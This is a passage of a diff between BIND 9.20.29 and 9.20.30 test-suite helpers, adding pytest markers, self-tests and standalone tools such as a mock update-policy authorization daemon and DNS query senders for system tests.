bind9-9.20.29/bin/tests/system/isctest/log/basic.py bind9-9.20.30/bin/tests/system/isctest/log/basic.py --- bind9-9.20.29/bin/tests/system/isctest/log/basic.py 2026-09-11 19:41:01.229324480 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/log/basic.py 2026-10-12 13:12:08.129893967 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -86,7 +86,9 @@ def log(lvl: int, msg: str, *args, **kwargs): - """Log message with the most-specific logger currently available.""" + """ + Log message with the most-specific logger currently available. + """ logger = LOGGERS["test"] if logger is None: logger = LOGGERS["module"] diff -Nru bind9-9.20.29/bin/tests/system/isctest/log/watchlog.py bind9-9.20.30/bin/tests/system/isctest/log/watchlog.py --- bind9-9.20.29/bin/tests/system/isctest/log/watchlog.py 2026-09-11 19:41:01.229324480 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/log/watchlog.py 2026-10-12 13:12:08.129893967 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/isctest/mark.py bind9-9.20.30/bin/tests/system/isctest/mark.py --- bind9-9.20.29/bin/tests/system/isctest/mark.py 2026-09-11 19:41:01.229324480 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/mark.py 2026-10-12 13:12:08.130893989 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -31,6 +29,21 @@ ) +rsasha1 = pytest.mark.skipif( + os.getenv("FEATURE_RSASHA1") != "1", reason="RSASHA1 disabled" +) + + +# FEATURE_EXTENDED_DS_DIGEST is never set on this branch (the feature and its +# feature-test probe only exist on newer branches), so this marker degrades to +# an unconditional skip; it is defined here so that gated tests can be +# backported without breaking test collection. +extended_ds_digest = pytest.mark.skipif( + os.getenv("FEATURE_EXTENDED_DS_DIGEST") != "1", + reason="extended DS digest algorithms disabled", +) + + DNSRPS_BIN = Path(os.environ["TOP_BUILDDIR"]) / "bin/tests/system/rpz/dnsrps" @@ -63,16 +76,6 @@ reason="Perl Net::DNS module is required", ) -requires_net_dns_nameserver = pytest.mark.skipif( - not _perl_module_available("Net::DNS::Nameserver"), - reason="Perl Net::DNS::Nameserver module is required", -) - -requires_time_hires = pytest.mark.skipif( - not _perl_module_available("Time::HiRes"), - reason="Perl Time::HiRes module is required", -) - def is_host_freebsd(*_): return platform.system() == "FreeBSD" @@ -148,6 +151,10 @@ reason="cpuset, numactl, or taskset is required", ) +with_curl = pytest.mark.skipif( + not shutil.which(os.getenv("CURL", "")), reason="curl is required" +) + with_openssl_cipher_suites = pytest.mark.skipif( os.getenv("FEATURE_OPENSSL_CIPHER_SUITES") != "1", reason="SSL_CTX_set_ciphersuites() is required", @@ -157,7 +164,6 @@ not is_dnsrps_available(), reason="dnsrps disabled in the build" ) - softhsm2_environment = pytest.mark.skipif( not ( os.getenv("SOFTHSM2_CONF") diff -Nru bind9-9.20.29/bin/tests/system/isctest/name.py bind9-9.20.30/bin/tests/system/isctest/name.py --- bind9-9.20.29/bin/tests/system/isctest/name.py 2026-09-11 19:41:01.230324505 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/name.py 2026-10-12 13:12:08.130893989 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -112,7 +112,7 @@ if name in reachable_delegations: reachable_delegations.remove(name) - # sanity check, should be impossible with dnspython 2.7.0 zone reader + # sanity check, should be impossible with the dnspython zone reader for name in reachable: relation, _, _ = name.fullcompare(self.zone.origin) if relation in ( diff -Nru bind9-9.20.29/bin/tests/system/isctest/query.py bind9-9.20.30/bin/tests/system/isctest/query.py --- bind9-9.20.29/bin/tests/system/isctest/query.py 2026-09-11 19:41:01.230324505 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/query.py 2026-10-12 13:12:08.130893989 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -149,7 +149,9 @@ ad: bool = True, message_id: int | None = None, ) -> dns.message.Message: - """Create DNS query with defaults suitable for our tests.""" + """ + Create DNS query with defaults suitable for our tests. + """ msg = dns.message.make_query( qname, qtype, diff -Nru bind9-9.20.29/bin/tests/system/isctest/rndc.py bind9-9.20.30/bin/tests/system/isctest/rndc.py --- bind9-9.20.29/bin/tests/system/isctest/rndc.py 2026-09-11 19:41:01.230324505 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/rndc.py 2026-10-12 13:12:08.130893989 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/isctest/run.py bind9-9.20.30/bin/tests/system/isctest/run.py --- bind9-9.20.29/bin/tests/system/isctest/run.py 2026-09-11 19:41:01.230324505 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/run.py 2026-10-12 13:12:08.130893989 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -45,7 +45,9 @@ raise_on_exception=True, env: dict | None = None, ) -> CmdResult: - """Execute a command with given args as subprocess.""" + """ + Execute a command with given args as subprocess. + """ isctest.log.debug(f"isctest.run.cmd(): {' '.join(args)}") def print_debug_logs(procdata): @@ -84,14 +86,18 @@ class EnvCmd: - """Helper for executing binaries from env with optional base parameters.""" + """ + Helper for executing binaries from env with optional base parameters. + """ def __init__(self, name: str, base_params: str = ""): self.bin_path = os.environ[name] self.base_params = base_params.split() def __call__(self, params: str, **kwargs) -> CmdResult: - """Call the command. Keyword arguments from isctest.run.cmd() are supported.""" + """ + Call the command. Keyword arguments from isctest.run.cmd() are supported. + """ args = self.base_params + params.split() return cmd([self.bin_path] + args, **kwargs) @@ -118,7 +124,7 @@ stdout=subprocess.PIPE, stderr=subprocess.STDOUT, bufsize=1, - universal_newlines=True, + text=True, errors="backslashreplace", ) as proc: if proc.stdout: @@ -132,12 +138,16 @@ def shell(script: str, args: list[str] | None = None) -> None: - """Run a given script with system's shell interpreter.""" + """ + Run a given script with system's shell interpreter. + """ _run_script(os.environ["SHELL"], script, args) def perl(script: str, args: list[str] | None = None) -> None: - """Run a given script with system's perl interpreter.""" + """ + Run a given script with system's perl interpreter. + """ _run_script(os.environ["PERL"], script, args) diff -Nru bind9-9.20.29/bin/tests/system/isctest/template.py bind9-9.20.30/bin/tests/system/isctest/template.py --- bind9-9.20.29/bin/tests/system/isctest/template.py 2026-09-11 19:41:01.230324505 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/template.py 2026-10-12 13:12:08.130893989 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -202,14 +200,25 @@ NS9 = Nameserver("ns9") NS10 = Nameserver("ns10") NS11 = Nameserver("ns11") -NO_NS = Nameserver(".", 0, "", "") + +ANS1 = Nameserver("ans1") +ANS2 = Nameserver("ans2") +ANS3 = Nameserver("ans3") +ANS4 = Nameserver("ans4") +ANS5 = Nameserver("ans5") +ANS6 = Nameserver("ans6") +ANS7 = Nameserver("ans7") +ANS8 = Nameserver("ans8") +ANS9 = Nameserver("ans9") +ANS10 = Nameserver("ans10") +ANS11 = Nameserver("ans11") @dataclass class Zone: name: str - ns: Nameserver + ns: Nameserver | None = None type: str = "primary" filepath: Path | None = field(default=None) diff -Nru bind9-9.20.29/bin/tests/system/isctest/tests/tests_template.py bind9-9.20.30/bin/tests/system/isctest/tests/tests_template.py --- bind9-9.20.29/bin/tests/system/isctest/tests/tests_template.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/tests/tests_template.py 2026-10-12 13:12:08.130893989 +0000 @@ -0,0 +1,91 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +""" +isctest.template self-test +Check the {% include_indented %} tag of the TemplateEngine. +""" + +import jinja2 +import pytest + + +def render(templates, system_test_dir, name, source, data=None): + (system_test_dir / f"{name}.j2").write_text(source) + templates.render(name, data) + return (system_test_dir / name).read_text() + + +def test_include_indented(templates, system_test_dir): + (system_test_dir / "inc.conf.j2").write_text("first @word@;\nsecond;\n") + output = render( + templates, + system_test_dir, + "main.conf", + 'block {\n\t{% include_indented "inc.conf.j2" %}\n};\n', + {"word": "value"}, + ) + assert output == "block {\n\tfirst value;\n\tsecond;\n};\n" + + +def test_include_indented_depth_follows_tag(templates, system_test_dir): + (system_test_dir / "inc.conf.j2").write_text("a;\nb;\n") + output = render( + templates, + system_test_dir, + "nested.conf", + 'one {\n\ttwo {\n\t\t{% include_indented "inc.conf.j2" %}\n\t};\n};\n', + ) + assert output == "one {\n\ttwo {\n\t\ta;\n\t\tb;\n\t};\n};\n" + + +def test_include_indented_keeps_blank_lines_blank(templates, system_test_dir): + (system_test_dir / "inc.conf.j2").write_text("a;\n\nb;\n") + output = render( + templates, + system_test_dir, + "blank.conf", + '\t{% include_indented "inc.conf.j2" %}\n', + ) + assert output == "\ta;\n\n\tb;\n" + + +def test_include_indented_must_follow_indentation_only(templates, system_test_dir): + (system_test_dir / "inc.conf.j2").write_text("a;\n") + with pytest.raises(jinja2.TemplateSyntaxError, match="indentation only"): + render( + templates, + system_test_dir, + "inline.conf", + 'block { {% include_indented "inc.conf.j2" %}\n};\n', + ) + + +def test_include_indented_requires_loaded_template(templates): + with pytest.raises(jinja2.TemplateSyntaxError, match="loader-backed"): + templates.j2env.from_string('\t{% include_indented "inc.conf.j2" %}\n') + + +def test_include_indented_common_prefix(templates, system_test_dir): + output = render( + templates, + system_test_dir, + "hint.conf", + 'view v {\n\t{% include_indented "_common/root.hint.conf" %}\n};\n', + ) + assert output == ( + "view v {\n" + '\tzone "." {\n' + "\t\ttype hint;\n" + '\t\tfile "../../_common/root.hint";\n' + "\t};\n" + "};\n" + ) diff -Nru bind9-9.20.29/bin/tests/system/isctest/tests/tests_zone_analyzer.py bind9-9.20.30/bin/tests/system/isctest/tests/tests_zone_analyzer.py --- bind9-9.20.29/bin/tests/system/isctest/tests/tests_zone_analyzer.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/tests/tests_zone_analyzer.py 2026-10-12 13:12:08.130893989 +0000 @@ -0,0 +1,228 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +""" +isctest.name.ZoneAnalyzer self-test +Generate insane test zone and check expected output of ZoneAnalyzer utility class +""" + +from pathlib import Path + +import collections +import itertools + +from dns.name import Name + +import dns.name +import pytest + +import isctest.name + +# set of properies present in the tested zone - read by tests_zone_analyzer.py +CATEGORIES = frozenset( + [ + "all_existing_names", + "delegations", + "dnames", + "ents", + "occluded", + "reachable", + "reachable_delegations", + "reachable_dnames", + "reachable_wildcards", + "reachable_wildcard_parents", + "wildcards", + ] +) + + +pytestmark = pytest.mark.extra_artifacts(["analyzer.db"]) +SUFFIX = dns.name.from_text("nsec3.example.") + +LABELS = (b"*", b"dname", b"ent", b"ns", b"txt") +LABEL2RRTYPE = { # leftmost label encodes RR type we will synthesize for given name + b"*": "TXT", + b"dname": "DNAME", + b"ent": None, # ENT is not really a 'type' + b"ns": "NS", + b"txt": "TXT", +} +LABEL2TAGS = { # leftmost label encodes 'initial' meaning of a complete name + b"*": {"wildcards"}, + b"dname": {"dnames"}, + b"ns": {"delegations"}, + b"txt": set(), # perhaps reachable, perhaps not, we need to decide based on other labels +} + + +def name2tags(name): + """ + Decode meaning hidden in labels and their relationships + and return all tags expected from ZoneAnalyzer + """ + tags = LABEL2TAGS[name[0]].copy() + + parent_labels = name[1:] + if b"ns" in parent_labels or b"dname" in parent_labels: + tags.add("occluded") + + if "occluded" not in tags: + tags.add("all_existing_names") + if "delegations" in tags: + # delegations are ambiguous and don't count as 'reachable' + tags.add("reachable_delegations") + elif "dnames" in tags: + tags.add("reachable") + tags.add("reachable_dnames") + elif "wildcards" in tags: + tags.add("reachable") + tags.add("reachable_wildcards") + else: + tags.add("reachable") + + return tags + + +def gen_node(nodes, labels): + name = Name(labels) + nodes[name] = name2tags(name) + + +def add_ents(nodes): + """ + Non-occluded nodes with 'ent' as a parent label imply existence of 'ent' nodes. + """ + new_ents = {} + for name, tags in nodes.items(): + if "occluded" in tags: + continue + + # check if any parent is ENT + entidx = 1 + while True: + try: + entidx = name.labels.index(b"ent", entidx) + except ValueError: + break + entname = Name(name[entidx:]) + new_ents[entname] = {"all_existing_names", "ents"} + entidx += 1 + + return new_ents + + +def tag_wildcard_parents(nodes): + """ + Non-occluded nodes with '*' as a leftmost label tag their immediate parent + nodes as 'reachable_wildcard_parents'. + """ + for name, tags in nodes.items(): + if "occluded" in tags or not name.is_wild(): + continue + + parent_name = Name(name[1:]) + nodes[parent_name].add("reachable_wildcard_parents") + + +def is_non_ent(labels): + """ + Filter out nodes with 'ent' at leftmost position. To become ENT a name must + not have data by itself but have some other node defined underneath it, + and must not be occluded, which is something itertools.product() cannot + decide. + """ + return labels[0] != b"ent" + + +def gen_zone(nodes): + """ + Generate zone file in text format. + + All names are relative. + Right-hand side of RRs contains dot-separated list of categories a node + belongs to (except for zone origin). + """ + for name, tags in sorted(nodes.items()): + if len(name) == 0: + # origin, very special case + yield "@\tSOA\treachable. origin-special-case. 0 0 0 0 0\n" + yield "@\tNS\treachable.\n" + yield "@\tA\t192.0.2.1\n" + continue + + rrtype = LABEL2RRTYPE[name[0]] + if rrtype is None: # ENT + prefix = "; " + else: + prefix = "" + assert tags + yield f"{prefix}{name}\t{rrtype}\t{'.'.join(sorted(tags))}.\n" + + +def gen_expected_output(nodes): + """ + {category: set(names)} mapping used by the pytest check + """ + categories = collections.defaultdict(set) + for name, tags in nodes.items(): + for tag in tags: + categories[tag].add(name) + + assert set(categories.keys()) == CATEGORIES, ( + "CATEGORIES needs updating", + CATEGORIES.symmetric_difference(set(categories.keys())), + ) + + return categories + + +def generate_test_data(): + """ + Prepare the analyzer.db zone file in the current working directory and + return the expected attribute values for the ZoneAnalyzer instance that + will be tested using that file. + """ + nodes = {} + + for length in range(1, len(LABELS) + 1): + for labelseq in filter(is_non_ent, itertools.product(LABELS, repeat=length)): + gen_node(nodes, labelseq) + + # special-case to make this look as a valid DNS zone - it needs zone origin node + nodes[Name([])] = {"all_existing_names", "reachable"} + + nodes.update(add_ents(nodes)) + tag_wildcard_parents(nodes) + + with open("analyzer.db", "w", encoding="ascii") as outf: + outf.writelines(gen_zone(nodes)) + + return gen_expected_output(nodes) + + +if __name__ == "__main__": + generate_test_data() + + +@pytest.fixture(scope="module") +def analyzer_fixture(): + expected_results = generate_test_data() # creates the "analyzer.db" file + analyzer = isctest.name.ZoneAnalyzer.read_path(Path("analyzer.db"), origin=SUFFIX) + return expected_results, analyzer + + +# pylint: disable=redefined-outer-name +@pytest.mark.parametrize("category", sorted(CATEGORIES)) +def test_analyzer_attrs(category, analyzer_fixture): + expected_results, analyzer = analyzer_fixture + # relativize results to zone name to make debugging easier + results = {name.relativize(SUFFIX) for name in getattr(analyzer, category)} + assert results == expected_results[category] diff -Nru bind9-9.20.29/bin/tests/system/isctest/text.py bind9-9.20.30/bin/tests/system/isctest/text.py --- bind9-9.20.29/bin/tests/system/isctest/text.py 2026-09-11 19:41:01.230324505 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/text.py 2026-10-12 13:12:08.130893989 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/isctest/tools/__init__.py bind9-9.20.30/bin/tests/system/isctest/tools/__init__.py --- bind9-9.20.29/bin/tests/system/isctest/tools/__init__.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/tools/__init__.py 2026-10-12 13:12:08.131894010 +0000 @@ -0,0 +1,25 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +""" +Standalone helper tools for system tests. + +Unlike the rest of the isctest package, which is imported by the pytest +runner and test modules, every module in isctest.tools is also runnable +as a standalone script: + + $PYTHON -m isctest.tools. [args] + +This is how legacy tests.sh scripts invoke them (conf.sh puts the +isctest package on PYTHONPATH). Once a test is ported to pytest, the +same module is imported and its functions called directly. Keep each +tool self-contained: no dependencies on the rest of isctest. +""" diff -Nru bind9-9.20.29/bin/tests/system/isctest/tools/authsock.py bind9-9.20.30/bin/tests/system/isctest/tools/authsock.py --- bind9-9.20.29/bin/tests/system/isctest/tools/authsock.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/tools/authsock.py 2026-10-12 13:12:08.131894010 +0000 @@ -0,0 +1,158 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +""" +Mock authorization daemon for update-policy "external" rules. + +Listen on a Unix stream socket and answer every update-policy check +named sends: allow the update when it is for the one RR type given on +the command line, deny it for any other. Log each request and the +decision on stdout; tests start the daemon in the background and grep +that log. + +The request and reply formats are documented in the ARM under the +"external" update-policy rule (doc/arm/reference.rst) and produced by +dns_ssu_external_match() in lib/dns/ssu_external.c. This tool speaks +protocol version 1. The reply is a 4-byte integer in network byte +order: 0 denies the update and 1 allows it; 2 is sent for a malformed +request, which named also treats as a denial. +""" + +import argparse +import os +import signal +import socket +import struct + +VERSION = 1 +HEADER = struct.Struct("!II") # protocol version, total request length +WORD = struct.Struct("!I") +# Shortest possible request: header, five empty NUL-terminated strings +# and an empty TKEY token. +MIN_REQUEST_LEN = HEADER.size + 5 + WORD.size +REPLY_DENY = WORD.pack(0) +REPLY_ALLOW = WORD.pack(1) +REPLY_ERROR = WORD.pack(2) + + +def parse_request(body: bytes) -> tuple[list[str], bytes]: + """ + Split a request body, everything after the version and length + header, into its fields as the ARM lays them out: signer, name, + TCP source address, rdata type and key as NUL-terminated strings, + then the TKEY token length (4 bytes, network byte order) and the + token, which fills the rest of the body. Raise ValueError if the + body does not have that shape. + """ + fields = [] + rest = body + for _ in range(5): + value, sep, rest = rest.partition(b"\0") + if not sep: + raise ValueError("fewer than five NUL-terminated strings") + fields.append(value.decode()) + if len(rest) < WORD.size: + raise ValueError("missing TKEY token length") + (token_len,) = WORD.unpack_from(rest) + token = rest[WORD.size :] + if len(token) != token_len: + raise ValueError(f"TKEY token length {token_len} != {len(token)}") + return fields, token + + +def authorize(rdtype: str, allowed_type: str) -> bytes: + """ + Allow the update if it is for the one permitted RR type, deny it + otherwise. Return the packed reply. + """ + if rdtype == allowed_type: + print(f"allowed type {rdtype} == {allowed_type}", flush=True) + return REPLY_ALLOW + print(f"disallowed type {rdtype} != {allowed_type}", flush=True) + return REPLY_DENY + + +def handle_request(conn: socket.socket, allowed_type: str) -> None: + """ + Answer one request on an accepted connection. + """ + header = conn.recv(HEADER.size, socket.MSG_WAITALL) + if len(header) < HEADER.size: + print(f"Short request header: {header.hex()}", flush=True) + conn.sendall(REPLY_ERROR) + return + version, req_len = HEADER.unpack(header) + if version != VERSION or req_len < MIN_REQUEST_LEN: + print(f"Badly formatted request: {header.hex()}", flush=True) + conn.sendall(REPLY_ERROR) + return + + body = conn.recv(req_len - HEADER.size, socket.MSG_WAITALL) + if len(body) + HEADER.size != req_len: + print(f"Length mismatch {req_len} {len(body) + HEADER.size}", flush=True) + conn.sendall(REPLY_ERROR) + return + + try: + (signer, name, addr, rdtype, key), token = parse_request(body) + except ValueError as exc: + print(f"Badly formatted request: {exc}: {body.hex()}", flush=True) + conn.sendall(REPLY_ERROR) + return + print( + f"version={version} signer={signer} name={name} addr={addr} " + f"type={rdtype} key={key} key_data_len={len(token)}", + flush=True, + ) + conn.sendall(authorize(rdtype, allowed_type)) + + +def serve(path: str, allowed_type: str) -> None: + """ + Listen on the Unix socket at path and answer requests forever. + """ + with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as server: + server.bind(path) + server.listen() + os.chmod(path, 0o777) + while True: + conn, _ = server.accept() + with conn: + handle_request(conn, allowed_type) + + +def main() -> None: + parser = argparse.ArgumentParser(prog="authsock", description=__doc__) + parser.add_argument("--path", required=True, help="Unix socket path to listen on") + parser.add_argument( + "--type", default="A", help="the one RR type to allow (default: %(default)s)" + ) + parser.add_argument( + "--pidfile", default="authsock.pid", help="where to write the process id" + ) + parser.add_argument( + "--timeout", + type=int, + default=0, + help="exit after this many seconds (default: run until killed)", + ) + args = parser.parse_args() + + with open(args.pidfile, "w", encoding="utf-8") as pidfile: + print(os.getpid(), file=pidfile) + if args.timeout: + # The default SIGALRM disposition terminates the process. + signal.alarm(args.timeout) + serve(args.path, args.type) + + +if __name__ == "__main__": + main() diff -Nru bind9-9.20.29/bin/tests/system/isctest/tools/ditch.py bind9-9.20.30/bin/tests/system/isctest/tools/ditch.py --- bind9-9.20.29/bin/tests/system/isctest/tools/ditch.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/tools/ditch.py 2026-10-12 13:12:08.131894010 +0000 @@ -0,0 +1,89 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +""" +Send DNS queries over UDP without waiting for the replies. + +Read "name type" lines from a file or stdin and fire one query per +line at the server, all from the same source port; the replies are +never read. This is how a test bursts a resolver with queries, e.g. +to drive it into its fetch limits. +""" + +from collections.abc import Iterable + +import argparse +import fileinput +import random +import socket + +import dns.inet +import dns.message + + +def send_queries( + lines: Iterable[str], address: str, port: int, source_port: int = 0 +) -> int: + """ + Send one recursive query per "name type" line to address:port over + UDP without reading any replies. Blank lines and lines starting + with "#" are skipped. Return the number of queries sent. + """ + family = dns.inet.af_for_address(address) + # All queries share a source port, so named would drop a repeated + # message ID for the same name as a duplicate query; use sequential + # IDs from a random start. + first_id = random.getrandbits(16) + sent = 0 + with socket.socket(family, socket.SOCK_DGRAM) as sock: + sock.bind(("", source_port)) + for line in lines: + fields = line.split() + if not fields or fields[0].startswith("#"): + continue + name, rdtype = fields[:2] + query = dns.message.make_query(name, rdtype, id=(first_id + sent) & 0xFFFF) + sock.sendto(query.to_wire(), (address, port)) + sent += 1 + return sent + + +def main() -> None: + parser = argparse.ArgumentParser(prog="ditch", description=__doc__) + parser.add_argument( + "-s", + "--server", + default="127.0.0.1", + help="server address (default: %(default)s)", + ) + parser.add_argument( + "-p", "--port", type=int, default=53, help="server port (default: %(default)s)" + ) + parser.add_argument( + "-b", + "--source-port", + type=int, + default=0, + help="source port to send from (default: any)", + ) + parser.add_argument( + "file", + nargs="?", + default="-", + help="file with one 'name type' query per line (default: stdin)", + ) + args = parser.parse_args() + with fileinput.input(files=args.file, encoding="utf-8") as lines: + send_queries(lines, args.server, args.port, args.source_port) + + +if __name__ == "__main__": + main() diff -Nru bind9-9.20.29/bin/tests/system/isctest/tools/pipequeries.py bind9-9.20.30/bin/tests/system/isctest/tools/pipequeries.py --- bind9-9.20.29/bin/tests/system/isctest/tools/pipequeries.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/tools/pipequeries.py 2026-10-12 13:12:08.131894010 +0000 @@ -0,0 +1,83 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +""" +Send A queries for the names read from stdin over a single TCP +connection, all of them before reading any response, and print the +answer sections in the order the responses arrive. +""" + +import argparse +import random +import socket +import sys +import time + +import dns.message +import dns.query +import dns.rcode + +TIMEOUT = 30 + + +def main() -> None: + parser = argparse.ArgumentParser(prog="pipequeries", description=__doc__) + parser.add_argument( + "-s", + "--server", + default="127.0.0.1", + help="server address (default: %(default)s)", + ) + parser.add_argument( + "-p", + "--port", + type=int, + default=5300, + help="server port (default: %(default)s)", + ) + args = parser.parse_args() + + # Use sequential IDs from a random start, so that repeated runs do + # not reuse the same ID sequence, just like ditch.py does. + first_id = random.getrandbits(16) + pending = {} + for offset, qname in enumerate(sys.stdin.read().split()): + msgid = (first_id + offset) & 0xFFFF + query = dns.message.make_query(qname, "A", id=msgid) + pending[msgid] = query + + expiration = time.time() + TIMEOUT + with socket.create_connection((args.server, args.port), timeout=TIMEOUT) as sock: + # socket.create_connection() leaves the socket in timeout mode, + # where every recv() call would get its own TIMEOUT; switch to + # non-blocking mode so that dns.query.send_tcp() and + # dns.query.receive_tcp() honor the shared expiration deadline. + sock.setblocking(False) + for query in pending.values(): + dns.query.send_tcp(sock, query, expiration) + + while pending: + response, _ = dns.query.receive_tcp(sock, expiration) + sent = pending.get(response.id) + if sent is None or not sent.is_response(response): + sys.exit(f"I:unexpected response:\n{response}") + del pending[response.id] + if response.rcode() != dns.rcode.NOERROR: + sys.exit(f"I:response rcode: {dns.rcode.to_text(response.rcode())}") + count = response.section_count(dns.message.ANSWER) + if count != 1: + print(f"I:response answer count ({count}!=1)", file=sys.stderr) + for rrset in response.answer: + print(rrset.to_text(), flush=True) + + +if __name__ == "__main__": + main() diff -Nru bind9-9.20.29/bin/tests/system/isctest/tools/rawzone.py bind9-9.20.30/bin/tests/system/isctest/tools/rawzone.py --- bind9-9.20.29/bin/tests/system/isctest/tools/rawzone.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/tools/rawzone.py 2026-10-12 13:12:08.131894010 +0000 @@ -0,0 +1,70 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +""" +Inspect the header of a zone file in raw format. + +The header starts with three big-endian 32-bit words (format, version, +dump time); only format 2 